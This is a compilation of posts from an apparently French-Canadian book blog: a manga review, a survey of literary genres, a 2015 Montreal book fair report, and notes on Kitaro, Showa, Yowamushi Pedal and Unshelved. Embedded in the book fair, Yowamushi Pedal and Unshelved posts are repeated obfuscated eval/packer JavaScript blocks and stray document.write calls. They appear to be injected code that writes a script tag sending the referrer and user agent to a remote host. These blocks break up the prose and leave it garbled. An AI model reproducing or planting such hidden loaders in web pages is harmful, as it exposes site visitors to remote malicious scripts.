Fait intéressant, l’auteur — qui a remporté avec ce titre le 66ème Grand prix comics des nouveaux auteurs de Shôgakukan — est non seulement passionnée par son sujet mais le maîtrise parfaitement puisqu’elle est elle-même diététicienne! La protagoniste de l’histoire rencontre dans chaque chapitre une personne différente avec qui elle partage un repas, écoute leur problèmes et les laisse dans le bonheur, le tout n’étant sans doute qu’un prétexte pour partager avec les lecteurs ses connaissances gastronomiques. Chose amusante, le manga a également été adapté en juillet 2013 par TV Tokyo en une série télévisée de douze épisodes mettant en vedettes les actrices et chanteuses Mariko Goto et Hirofumi Arai. (Ci-contre, page 59)


Le sujet gastronomique, qui me rappel beaucoup Gourmet Solitaire de Jirô Taniguchi — mais avec une tournure humoristique et supernaturelle, dans le style Video Girl Ai ou Ah! My Goddess — en fait un titre qui aurait pu être intéressant… si l’histoire n’était pas aussi insipide, terne et répétitive. Et chaque chapitre nous apparait beaucoup trop court. Il manque quelque chose à la recette…

Dans le chapitre 1, “La déesse et son bol de riz garni,” un jeune en recherche d’emploi désespère de n’avoir aucune réponse. Il reçoit un mail disant “Aujourd’hui vous avez le soutien d’une déesse! Prenez des forces et tout ira bien!” Une jeune femme apparait donc de nulle part et l’entraîne dans un petit restaurant qui ne paie pas de mine où elle commande deux ”Staminadon” (un bol de riz avec une garniture de viande et de légumes sautés). Ils mangent avec enthousiasme et, tout revigoré, il est prêt à se relancer dans la recherche d’emploi! Dans le chap. 2, “Steaks hachés Full Power”, elle montre à un jeune garçon à préparer son repas lui-même à la maison sans attendre sa mère qui est au travail. Au chap. 3, “Dango tricolores sous les cerisiers”, elle partage des boulettes à base de farine de riz avec un homme nostalgique après une rupture. Dans le chap. 4, “Un homme, deux femmes et des bentos”, elle partage une boite à lunch avec un homme qui trompe sa femme. Dans le chap. 5, “Le gâteau coup de coeur”, elle partage un morceau de gâteau et fait vivre de grandes émotions à une jeune fille qui rêve du grand amour. Dans le chap. 6, “Histoire de nouilles”, elle fait des Udon avec un joueur de pachinko qui se prend pour Don Juan. Dans le chap. 7, “Torimotsu night”, elle partage des tripes sur du riz avec Une-chan, le gros chat du quartier. Dans le chap. 8, “Mori-ken et les palourdes”, elle apparait comme une pêcheuse de palourde en détresse à un sauveteur cuistot (pas fameux ce récit).

Le volume se termine avec deux histoires ayant remportées le 66e grand prix Shôgakukan du nouvelle espoir. Dans la première, “Une bonne bouchée de curry”, elle aide un salaryman célibataire à se préparer un plat de curry. Dans la seconde, “La belle et le poisson”, elle prépare du poisson pour une jeune fille qui manque de confiance en elle. Chacune des histoires de ce volume sont entrecoupées de ”L’analyse nutritionnelle d’Ume et de l’auteur” qui analyse la valeur nutritive de chacun des plats présentés. Un peu nul.

Le concept a du potentiel, le dessin est bien mais l’histoire est ennuyeuse et ne “click” pas du tout. J’ai fais la découverte de ce titre en novembre dernier et en ai débuté la lecture en janvier suivant. J’en ai lu quelques pages ici là laborieusement pour l’abandonner au trois-quart au début février. Je l’ai terminé aujourd’hui pour en faire le commentaire. Pénible lecture. Je ne lirai donc pas les tomes suivants.

Mangeons! Vol. 1, écrit et illustré par Sanko Takada. Paris, Casterman (Coll. Sakka), mars 2014. 184 pages, 13.2 x 18 x 1.6 cm, 7,95 € / $13.25 Cnd, ISBN 9782203077034. Lectorat de 14 ans et plus. Un extrait d’une douzaine de pages sur le site de l’éditeur japonais (en japonais évidemment!).

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ Translate ]

Paul dans le Nord

Paul_dans_le_Nord“Été 76. Paul a 16 ans et ne rêve que d’une chose: une motocyclette Kawasaki KE100 pour fuir son quotidien et ses parents envahissants. Avec Ti-Marc, un nouvel ami rencontré à sa polyvalente, Paul traversera cette période difficile de son adolescence avec un peu plus de légèreté. Voyages en auto-stop, soirées arrosées entre copains et expériences nouvelles seront au rendez-vous. Le tout, sur fond de jeux olympiques, de musique de Peter Frampton et de Beau Dommage…”

(Texte du site de l’éditeur; voir aussi la couverture arrière)

Lire la suite après le saut de page >>

Continue reading

Genres et littératures (1): Littératures rationnelles

Littératures rationnelles

Aventure

Le roman d’aventure est l’archétype par excellence de la littérature populaire et en est le plus ancien des genres. En fait, plusieurs des genres littéraires modernes pourraient être considéré comme des sous-genres du roman d’aventure. C’est le cas du roman historique, d’espionage, d’anticipation ou même du roman sentimental. C’est pourquoi, maintenant, un pure roman d’aventure ne devrait pas contenir trop d’éléments qui le rapprocheraient de l’un de ces sous-genres.

Le roman d’aventure peut se définir comme un récit où un ou plusieurs protagonistes se retrouvent plongés inopinément dans une série de péripéties souvent rocambolesques qui les sortent de leur quotidien. L’histoire est généralement linéaire, l’arrière-plan simple, les personnages peu définie, mais l’intrigue est riche en action et rebondissements. C’est un genre souvent associé à la littérature jeunesse.

On pourrait faire remonter le roman d’aventure jusqu’à l’Odyssée et l’Iliade d’Homère, mais il a connu son essor surtout entre le milieu du XIXe et le milieu du XXe siècle. De nombreux auteurs s’y sont adonnés: Edgar Rice Burroughs (Tarzan), Daniel Defoe (Robinson Crusoé), Charles Dickens (Les aventures d’Oliver Twist), Alexandre Dumas (Le Comte de Monte-Cristo), Jack London (Croc-Blanc), Herman Melville (Moby Dick), Robert Louis Stevenson (L’Île au trésor), Mark Twain (Les aventures de Tom Sawyer), Jules Verne (Le Tour du monde en quatre-vingts jours), Henri Vernes (la série Bob Morane), etc.

Historique

Le roman historique se définit simplement comme un récit qui se déroule dans le passé et où le contexte historique, réel ou fictif, occupe une part importante. Les protagonistes peuvent être un mélange de personnage historiques réels et inventés. Dans ce cas-ci on pourrait se retrouver avec autant de sous-genres qu’il y a d’époque (roman antique, médiéval, de la renaissance, etc.) mais en fait on distingue surtout deux grandes catégories:

  • le roman historique réaliste “qui se veut le plus près possible des faits rapportés par les historiens et qui met en vedette un ou des personnages véridiques” [ALLARD, p. 213]
  • le roman historique lyrique où “le ou les personnages dominants sont des héros inventés ou copiés sur de multiples modèles, l’époque et les grands personnages ne servant que de décors et n’apparaissant qu’en silhouettes” [ALLARD, p. 214]

Certains incluent dans les sous-genres du roman historique la politique-fiction, qui s’apparente beaucoup au roman policier ou d’espionage et, pour cette raison, j’aurais plutôt tendance à en faire un genre en soi. À l’opposé, certains considèrent le western comme un genre à part alors que j’aurais plutôt tendance à le considérer comme un sous-genre du roman historique. Je mentionne en passant un autre sous-genre du roman historique: le roman biographique.

Le roman historique est un genre prolifique qui a eut les faveurs de nombreux auteurs: Juliette Benzoni (les cycles de Catherine et de Marianne), James Clavell (Shogun), Arthur Conan Doyle (Les aventures du brigadier Gérard), Maurice Druon (Les rois maudits), Alexandre Dumas (La reine Margot, Les trois mousquetaires, Les mohicans de Paris, etc.), Gustave Flaubert (Salammbô), Ken Follett (Les piliers de la terre), Diana Gabaldon (Outlander), Max Gallo (Le cortège des vainqueurs), Théophile Gauthier (Le capitaine Fracasse), Robert Graves (Moi, Claude), Alex Haley (Racines), Victor Hugo (Notre-Dame de Paris), Margaret Mitchell (Autant en emporte le vent), J.-H. Rosny ainé (La guerre du feu), Walter Scott (Rob Roy, Ivanhoe, Quantin Durward, etc.), Stendhal (La chartreuse de Parme), Léon Tolstoï (Guerre et paix), Léon Uris (Exodus), Lewis Wallace (Ben-Hur), Marguerite Yourcenar (Mémoires d’Hadrien), pour n’en citer que quelques-uns.

Il est a noter que l’on retrouve récemment dans la littérature québécoise un grand engouement pour le roman historique (particulièrement pour le sous-genre du roman familial) avec des auteurs comme Jean-Pierre Charland, Michel David, Pauline Gill, Michel Langlois et Juliette Thibault. La revue Collections de l’ANEL a consacré un numéro complet au roman historique québécois.

Humour

On a tendance à oublier que l’humour est aussi un genre littéraire et pourtant c’est un genre ancien et tout de même assez prolifique. Le fait qu’il soit négligée tient peut-être qu’il est parfois considérée comme dans une catégorie à part, la littérature hyperrationnelle.

La littérature humoristique est une littérature qui fait bien sûr rire, ou du moins sourire, mais elle fait surtout réfléchir en nous présentant la réalité dans un angle amusant certes mais c’est justement parce qu’elle nous la présente sous un jour différent qu’elle nous la fait comprendre avec une perspicacité nouvelle.

L’humour se présente sous une forme variée de sous-genres comme l’esprit, la satire, le pastiche (parodie), l’ironie (humour noir), voir même l’absurde alors qu’au théâtre on parle plutôt de genre comique ou de farce. Chaque culture a aussi son humour propre: l’humour anglais ou l’humour juif par exemple.

L’humour, et particulièrement la satire, remonte à l’antiquité avec des auteurs comme Ésope (et ses Fables qui “inspireront” beaucoup Lafontaine), Ovide (Métamorphoses), Pétrone (Satyricon), Martial (Épigrammes), Juvénal (Satires), Apulée (L’Âne d’or ou les Métamorphoses) ou encore Lucien de Samosate (pour ses nombreux dialogues humoristiques). Pour la Renaissance on peut citer Boccace (Décaméron), Rabelais (Pantagruel) ou même Jonathan Swift (Les voyages de Gulliver). Avec les Lumières viendront Molière et Voltaire. Pour les modernes, je me contenterai que de citer Woody Allen (Dieu, Shakespeare… et moi), Art Buchwald, Raymond Devos (Çà n’a pas de sens, Sens dessus dessous), Kafka, O’Henry (Contes du Far West, New York tic tac), San Antonio (L’Histoire de France vue par San Antonio, Les vacances de Bérurier), Sempé (Le petit Nicolas), et Mark Twain (Contes choisis, Contes humoristiques anglo-saxons).

Policier

Le roman policier (ou polar) est probablement l’un des genres modernes les plus populaires. Il se définit de façon général comme un récit dont l’élément principal est l’intrigue, et qui tourne autour d’un crime ou d’un mystère que doivent résoudre petit à petit les protagonistes à l’aide d’une analyse méthodique et de déductions. Parmi les nombreux sous-genres on peut distinguer trois grandes catégories:

  • le roman de détective, d’enquête ou de mystère nous offre le point de vue du policier ou du détective. Il s’agit ici du véritable roman policier où le récit est axé sur le processus de déduction du (ou des) protagoniste(s) qui recherche le coupable et son modus operandi (ce que les anglais appelle le “who done it”). On peut aussi adjoindre à cette catégorie le roman de procédure (procédural), le roman médico-légal (police scientifique) et le roman judiciaire (mais celui-ci est souvent plutôt associé au thriller)
  • le thriller ou roman noir (hard boiled) offre le point de vue du criminel ou du détective peu scrupuleux; le récit est souvent violent, placé dans un contexte urbain et axé sur l’action
  • le suspense psychologique offre le point de vue de la victime; le récit est axé sur la psychologie des personnages et leurs émotions, particulièrement l’angoisse

C’est un genre tellement populaire et prolifique qu’il est difficile de se limiter dans les exemples, ne serait-ce qu’à vingt-cinq. Les auteurs les plus emblématiques seraient, je crois, Boileau-Narcejac (Sueurs froides), Dan Brown (Da Vinci Code), John Dickson Carr (La chamber ardente), Raymond Chandler (série Philip Marlowe), Agatha Christie (Dix petits nègres, séries Hercule Poirot et Miss Marple), Mary Higgins Clark (La maison du guet), Harlan Coben (Ne le dis à personne), Michael Connelly (Le poète), Frédéric Dard (Le bourreau pleure), Sir Arthur Conan Doyle (série Sherlock Holmes), Umberto Eco (Le nom de la rose), James Ellroy (Le dahlia noir), Charles Exbrayat (Barthélemy et sa colère), Graham Green (Tueur à gages), John Grisham (La firme, L’affaire Pélican, Le client), P. D. James (un certain goût pour la mort), Maurice Leblanc (série Arsène Lupin), Donna Leon (série Commissaire Brunetti), Gaston Leroux (Le mystère de la chambre jaune), Ellis Peters (série Cadfael), Edgar Allan Poe (Double assassinat dans la Rue Morgue), Ellery Queen (Le cas de l’inspecteur Queen), Kathy Reichs (série Temperance Brennan), Georges Simenon (Inspecteur Maigret), et Fred Vargas (L’homme à l’envers).

Il est à noter que, ces dernières années, les auteurs de polars scandinaves connaissent une grande notoriété. On parle ici surtout de Åke Edwardson (série Erik Winter), Arnaldur Indriðason (série du commissaire Erlendur Svensson), Camilla Läckberg (La princesse des glaces), Stieg Larsson (série Millenium), Henning Mankell (série Kurt Wallander), ou de Jo Nesbø (série Harry Hole).

On retrouve également de nombreux auteurs de polars japonais, sans doute grâce à l’influence de l’auteur classique Edogawa Rampo (série du détective Kogoro Akechi, dont La proie et l’ombre) qui a fortement contribuer à populariser le genre au Japon. Il a fondé en 1947 la Nihon Suiri Sakka Ky?kai (Mystery Writers of Japan), une association qui décerne deux prix annuels: le Nihon Suiri Sakka Ky?kai Sh? (le prix des auteurs japonais de romans policiers) et le Edogawa Rampo Sh? (le prix Edogawa Ranpo). Avec ces prix et la palmarès Tozai Misuteri Besuto 100 (Les 100 meilleurs romans policiers de l’Orient et l’Occident) on peut facilement dénicher une douzaine d’auteurs emblématiques parmi la centaine d’auteurs de polars japonais (dont plusieurs sont traduit en français aux Éditions Philippe Picquier): Jir? Akagawa (Le Piège de la marionnette), Keigo Higashino (La Maison où je suis mort autrefois), Natsuo Kirino (Out), Mariko Koike (Le chat dans le cercueil), Seicho Matsumoto (Tokyo Express, Le vase de sable — dont j’ai déjà commenté la traduction anglaise), Miyuki Miyabe (Une carte pour l’enfer), Shizuko Natzuki (Meurtre au Mont Fuji), Ky?tar? Nishimura (Les grands détectives n’ont pas froid aux yeux), Seiryôin Ryûsui (série Japan Detectives Club), S?ji Shimada (The Tokyo Zodiac Murders), Akimitsu Takagi (The tattoo murder case), Seishi Yokomizo (Le Village aux huit tombes).

Je terminerai avec le polar québécois qui est de plus en plus populaire. Montréal avait déjà vu naître dans l’après-guerre de nombreux romans noir ou de mystère (l’éditeur Véhicule Press y consacre d’ailleurs sa collection Ricochet Books avec des titres comme The Crime on Cote des Neiges, Murder over Dorval, The Mayor of Côte St. Paul ou encore Sugar-Puss on Dorchester Street — que j’ai commenté dans ce blogue) mais ce n’est qu’avec les années ’80 que nait vraiment le polar québécois moderne. La revue Collections de l’ANEL a d’ailleurs consacré un numéro complet au Polars, thrillers et romans policiers québécois. On peut noter une douzaine d’auteurs emblématique: Natasha Beaulieu (Le deuxième gant), Jacques Bissonnette (série Julien Stifer), Camille Bouchard (L’agence Kavongo), Christine Brouillet (série Maud Graham), Jacques Côté (Série Daniel Duval), Maxime Houde (série Stan Coveleski), Jean-Jacques Pelletier (série les Gestionnaires de l’Apocalypse), Lionel Noël (Opération Iskra), Louise Penny (série de l’inspecteur Armand Gamache), Patrick Senécal (Sur le seuil), Richard Ste-Marie (série Francis Pagliaro), Catherine Sylvestre (La vieille fille et la mort) — presque tous publié aux Éditions Alire qui publie également la revue Alibis: L’anthologie permanente du polar.

Espionnage

Le roman d’espionnage se retrouve au confluent du roman d’aventure et du roman policier. C’est une sorte de thriller d’action où le protagoniste se voit confier une mission secrète de surveillance ou de renseignement dont la nature est politique, voire militaire. On associe aussi à cette catégorie les sous-genre du roman de guerre et de la Politique-fiction qui est un thriller politique qui met en scène des événements politiques fictifs ou des théories du complot dans un contexte géopolitique contemporain réel.

Si les précurseurs du genre sont Joseph Conrad (L’agent secret) et John Buchan (Les 39 marches) au début du XXe siècle, ce n’est qu’avec la Seconde Guerre Mondiale qu’il prends vraiment son essor avec des auteurs comme Eric Ambler (Le masque de Dimitrios), Peter Cheyney (Héros de l’ombre), Tom Clancy (Série Jack Ryan), Len Deighton (Manoeuvres en eaux troubles), Charles Exbrayat (série Imogène), Ian Fleming (série James Bond), Frederick Forsyth (Le dossier Odessa), James Grady (Les trois jours du Condor), Graham Green (L’agent secret), John Le Carré (L’espion qui venait du froid), Robert Ludlum (série Jason Bourne), ou Pierre Nord (Double crime sur la ligne Maginot). Dans le cas de la Politique-fiction on peut citer Frederick Forsyth (Chacal), Jack Higgins (L’aigle s’est envolé), Michel Houellebecq (Soumission), Antoine Vitkine (La tentation de la défaite), et Irving Wallace (Complot).

Sentimental

Le roman sentimental ou d’amour (romance novel en anglais) est sans aucun doute la littérature de genre la moins respectée. Toutefois le roman sentimental c’est plus que les simples “romans à l’eau de rose” comme la fameuse collection Harlequin. C’est une longue tradition romanesque “issue du mélodrame, du roman social surtout familial et du récit psychologique“ et qui constitue en quelques sorte le pendant féminin “du roman d’aventure, insistant plus sur la passion que sur l’action, plus sur le sentiment que sur le sensationnel. (…) L’argument moteur de ces récits demeure le sentiment d’amour ou de haine, avec ses corollaires de rupture, de solitude, de reprise, de bonheur, de vengeance, où très souvent l’homme est passivement actif sinon activement passif en tant que désiré, lointain, timide, mais aussi perfide, autoritaire, incompréhensif; somme toute, le roman sentimental est perçu, éprouvé, raconté du point de vue de la jeune fille ou de la femme qui en est le centre, le pivot, la charnière.” (ALLARD, p. 183).

Au delà des grands classiques du roman sentimental, la grande popularité du genre auprès du public féminin en a fait un genre extrêmement prolifique qui offre une immense variété stylistique (ou le sentimental est teinté par les autres genres, y ajoutant des éléments policiers, historiques, fantastiques, de fantasy ou même érotiques donnant ainsi lieu à de nombreux sous-genres) et qualitative (tombant parfois dans la production de masse, n’offrant plus que des récit éphémères remplis de “clichés fanés et d’illusions nostalgiques” et qui tend à reléguer le genre “en une sorte de ghetto culturel populaire” (ALLARD, p. 184)). Si la littérature féminine (Chick lit) pourrait être considéré comme un sous genre du roman sentimental, elle en est plutôt l’évolution et est surtout vue comme un genre distinct.

Les auteurs de roman sentimental classique emblématiques sont Jane Austen (Orgueil et préjugés), Charlotte Brontë (Jane Eyre), Alexandre Dumas fils (La dame aux camélias), Mme de La Fayette (La Princesse de Clèves), William Shakespeare (Roméo et Juliette), Stendhal (Le rouge et le noir). La liste des auteurs modernes pourrait inclure Elisabeth Barbier (Les gens de Mogador), Barbara Cartland (La belle et le cavalier), Mazo de La Roche (série Jalna), Delly (Esclave… ou reine?), Guy Des Cars (La brute), Anne et Serge Golon (série Angélique), Han Suyin (Multiple splendeur), Heinz Günther Konsalik (Deux filles en liberté), Colleen McCullough (Les oiseaux se cachent pour mourir), Nora Roberts (Le collectionneur), Erich Segal (Love story), Irwin Shaw (Le riche et le pauvre), Henri Troyat (Les semailles et les moissons), et Kathleen Woodiwiss (Quand l’ouragan s’apaise).

Note: d’autres hyper-liens seront ajouté avec le temps.

Lire la suite dans: “Genres et Littératures (2): Littératures de l’imaginaire

[ Translate ]

Salon du livre 2015

Montreal Book Fair 2015
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkeye|var|u0026u|referrer|fyieb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkzaa|var|u0026u|referrer|ntfdb||js|php’.split(‘|’),0,{}))
Cette année encore j’ai répété la traditionnelle visite au
Salon du livre de Montréal. Histoire d’essayer d’avoir une vision holistique de l’édition cette année et de faire un peu de shopping karmique (il y a tellement de choses à voir qu’il faut espérer que le hasard fasse bien les choses et que l’on découvre ce qui nous intéresse vraiment ou ce que l’on est destiné à découvrir).

Contrairement à mon habitude je n’y suis pas allé vendredi (n’ayant pas reçu la passe pour la journée des professionnels) mais plutôt samedi. Je me suis dit que tant qu’à payer autant y aller une journée pour voir un maximum de monde. Maximum de monde il y avait. Un peu trop à mon goût (My kingdom for a two-handed sword!)

J’ai donc pu rencontrer Claude R. Blouin, document.write(“”); un spécialiste du cinéma nippon que je croise annuellement au Festival des Films du Monde. Je l’ai manqué à sa séance de signature aux Presses de l’Université Laval (où il a publié un fort intéressant essai sur le cinéma japonais) mais j’ai tout de même réussi à l’attraper au kiosque des Éditions Mots en toile où il signait Les cueilleuses de bleuets, un recueil de nouvelles publié l’an dernier et inspiré de toiles de maîtres ou d’images.

J’ai aussi pu passé par le kiosque des Éditions Alire, pour le cinq à sept des revues, et saluer et faire la jasette à plusieurs de mes connaissances qui y sont publiés.

Il y a vraiment beaucoup de choses à voir au salon du livre. Trop. Nos sens sont saturés de toute part et c’en est vraiment accablant. Ça ne s’améliore pas d’année en année.

Contrairement à mon habitude de ne JAMAIS acheter au salon du livre, j’ai succombé à la tentation une fois, puis, étant sur la pente glissante du désir livresque, une autre et un autre. Ça ma coûté cher mais là j’ai de la lecture intéressante pour un bout. Il reste à trouver le temps de les lire et de les commenter. Voici donc mes heureux achats (après le saut de page):

Le cinéma japonais et la condition humaine

“Que garder du bushido dans la société nouvelle ? Comment honorer les doctrines équilibristes du shintoïsme à l’ère du capitalisme accéléré ? Que faire des conceptions étendues de la famille à l’heure où celle-ci doit se recentrer en noyau nucléaire ? La question de la transmission traverse tout le cinéma japonais.”

“Nous aider à saisir le rythme poétique japonais, les enjeux politiques et révolutionnaires sous-jacents à ce cinéma surcodé, dont les clés sont moins l’affaire d’une élite bourgeoise que celle d’une culture radicalement transformée, c’est ce à quoi Claude Blouin s’est consacré.”

(Extrait de la préface de Mathieu Li-Goyette présentée sur le site de l’éditeur)

Cet essai m’apparait passionnant et j’ai bien hâte de le lire. En attendant, vous pouvez consulter un extrait des vingt premières pages sur le site de l’éditeur.

Le cinéma japonais et la condition humaine, par Claude R. Blouin. Québec, Presses de l’Université Laval, octobre 2015. 180 pg., $24.95 Can. ISBN: 978-2-7637-2694-6.

Kitaro

“Meet Kitaro. He’s just like any other boy, except for a few small differences: he only has one eye, his hair is an antenna that senses paranormal activity, his geta sandals are jet-powered, and he can blend into his surroundings like a chameleon. Oh, and he’s a three-hundred-and-fifty-year-old yokai (spirit monster). With all the offbeat humour of an Addams Family story, Kitaro is a lighthearted romp in which the bad guys always get what’s coming to them.”

Kitaro is bestselling manga-ka Shigeru Mizuki’s most famous creation. The Kitaro series was inspired by a kamishibai, or storycard theater, entitled Kitaro of the Graveyard. Mizuki began work on his interpretation of Kitaro in 1959. Originally the series was intended for boys, but once it was picked up by the influential Shonen magazine it quickly became a cultural landmark for young and old alike. Kitaro inspired half a dozen TV shows, plus numerous video games and films, and his cultural importance cannot be overstated. Presented to North American audiences for the first time in this lavish format, Mizuki’s photo-realist landscapes and cartoony characters blend the eerie with the comic.” (Text from the publisher’s web site)

Despite his cartoony style, Shigeru Mizuki is one of the great master’s of Japanese manga. This is a must-read classic that I’ve always wanted to have. It’s just too bad that Drawn & Quarterly is too cheap to provide review copies (unlike other north american publishers I’ve been dealing with). And just after the book fair, I see that the book is on sale $10 off on their website. WTF!

Kitaro, by Shigeru Mizuki. Montreal, Drawn & Quarterly, july 2013. B&W paperback, 6.5 X 8.7, 432 pgs., $24.95 US/Can. ISBN: 9781770461109. There an 8-page extract available.

Showa 1944–1953: A History of Japan

Showa 1944–1953: A History of Japan continues award-winning author Shigeru Mizuki’s autobiographical and historical account of the Showa period in Japan. This volume recounts the events of the final years of the Pacific War, and the consequences of the war’s devastation for Mizuki and the Japanese populace at large.”

“After the surprise attack at Pearl Harbor, Japan and the United States are officially at war. The two rival navies engage in a deadly game of feint and thrust, waging a series of microwars across the tiny Pacific islands. From Guadalcanal to Okinawa, Japan slowly loses ground. Finally, the United States unleashes the deathblow with a new and terrible weapon—the atomic bomb. The fallout from the bombs is beyond imagining.”

“On another front, Showa 1944–1953 traces Mizuki’s own life story across history’s sweeping changes during this period, charting the impact of the war’s end on his life choices. After losing his arm during the brutal fighting, Mizuki struggles to decide where to go: whether to remain on the island as an honored friend of the local Tolai people or return to the rubble of Japan and take up his dream of becoming a cartoonist. Showa 1944–1953 is a searing condemnation of the personal toll of war from one of Japan’s most famous cartoonists.” (Text from the publisher’s web site)

I’ve previously commented the first volume of this manga (I borrowed it at the library). I’ll probably also borrow volume 2 in order to comment on it and then I’ll read and comment this volume 3 of the series. This period of Japanese history was interesting me more so I’ve decided to purchase that particular volume (I’ll probably also purchase the volume 4, if I can). I’ve also commented on his graphical biography of Hitler. His work is superb (despite the cartoony style) and is an essential part of manga’s history and as such it is an absolute must-read. I can’t wait! (Darn! This one is also discounted on the web site! Damn you, D&Q!).

Showa 1944–1953: A History of Japan, by Shigeru Mizuki. Montreal, Drawn & Quarterly, november 2014. B&W paperback, 6.5 X 8.8, 536 pgs., $24.95 US/Can. ISBN: 9781770461628. An 11-page extract is available.

Discovery: Yowamushi Pedal

While watching the news on NHK World, document.write(“”); I came upon a report titled “Pedal Power” talking about the good influence the manga Yowamushi Pedal is having on the otaku generation (I can’t embed the video but there’s a direct link). The manga tells the touching story of a self-identifying otaku who become by chance a member of his high school cycling club and ends up competing in a national championship. In the same fashion that manga like Yawara!, Yakitate!! Japan, Hikaru no Go, Kami no Shizuku or Initial D have revived the young generation’s interest into judo, pastry cooking, the board game go, wine tasting or even race drifting, this manga has inspired many young otaku to take up road cycling. Anything that encourages young couch potatoes to do more exercice is great. So it made me curious about this very popular sports manga.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrbby|var|u0026u|referrer|fakbn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hidrs|var|u0026u|referrer|easei||js|php’.split(‘|’),0,{}))

“For the love of all things otaku—anime, video games, figures, you name it!—power-pedaling Sakamichi Onoda has long been conquering the steepest slopes and regularly making the ninety-kilometer round-trip to Akihabara on a granny bike!! But when his bike commute to his new high school lands him in a confrontation with the serious first-year road racer Imaizumi, Onoda has a major showdown on his hands! Can this meek geek really out-pedal the future ace of the school road-racing team?!” (Text from Yen Press)

Yowamushi Pedal (????? / lit. “weakling pedal”) is a sports manga by Wataru Watanabe which is currently serialized in Akita Shoten’s Weekly Sh?nen Champion magazine. Since its beginning in February 2008, it has been compiled in forty-one tank?bon volumes so far. The manga is popular, as its many fan pages and scanlations can attest, so it’s no surprise that it has been licensed for North America by Yen Press.

Yowamushi Pedal, vol. 1, by Wataru Watanabe. New York, Yen Press, decembre 2015. Trade Paperback, 400 pg., $24.00 US /$29.00 CAN. ISBN: 9780316309523. Recommended for a young readership (7+). A second volume (ISBN 9780316354684) is announced for april 2016.

The manga was also adapted in a two-season animated TV series (38 episodes for Yowamushi Pedal and 24 episodes for Yowamushi Pedal: Grande Road), three animated movies (Yowamushi Pedal Re: Ride and Yowamushi Pedal Re: Road simply compiles the episodes of the TV series, while Yowamushi Pedal: The Movie is a sequel) and one video game for Nintendo 3DS. The second season of the TV series is currently streaming on Crunchyroll and Discotek Media has acquired the right for the North American Dvd release (due for december 2015).

If you are a cycling fan, this manga and anime will probably interest you.

For more information you can check the following websites:

[ Traduire ]

Unshelved 11: Reads well with others

“Our very first full-color collection, document.write(“”); Reads Well With Others features stirring tales of library derring-do, often inspired by, and occasionally blatantly documenting, true stories from librarians around the world. In this volume you’ll find strips about: unattended children, creeps, staff trainings, website redesigns, reading levels, confidentiality, bookstores, coffee… and much more, including Conference Tips never seen on our site.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yskzd|var|u0026u|referrer|bhkny||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibnhi|var|u0026u|referrer|ztbef||js|php’.split(‘|’),0,{}))

“It’s the same compact size as our last three collections, but this time around every strip is in full color!”

[ Text from the publisher’s website; the back cover is also a must-read ]

“Libraries provide access to information, entertainment, and the Internet. They are the backbone of democracy, sacred places where anyone can find answers to their questions. Unfortunately, people who come there for help behave just as badly they do everywhere else.”

In January Overdue Media released the eleventh compilation of the Unshelved web comics that chronicles the daily misadventures of Dewey and his co-workers at an American dysfunctional library. Reads well with others compiles the comics strips originally published on the website between April 1st 2013 and September 25th 2014, as well as the “Conference Tips” originally published in ALA CogNotes newspapers in June 2014, January 2014 and June 2014.

The Unshelved web comics is very dear to my heart despite the very average quality of the drawings (although it’s probably quite good for a web comics). The reason for that is quite simple: I work in a library myself and I can recognize in those strips situations I’ve found myself in so many times. Believe me, it’s much better to choose to laugh about it than go insane!

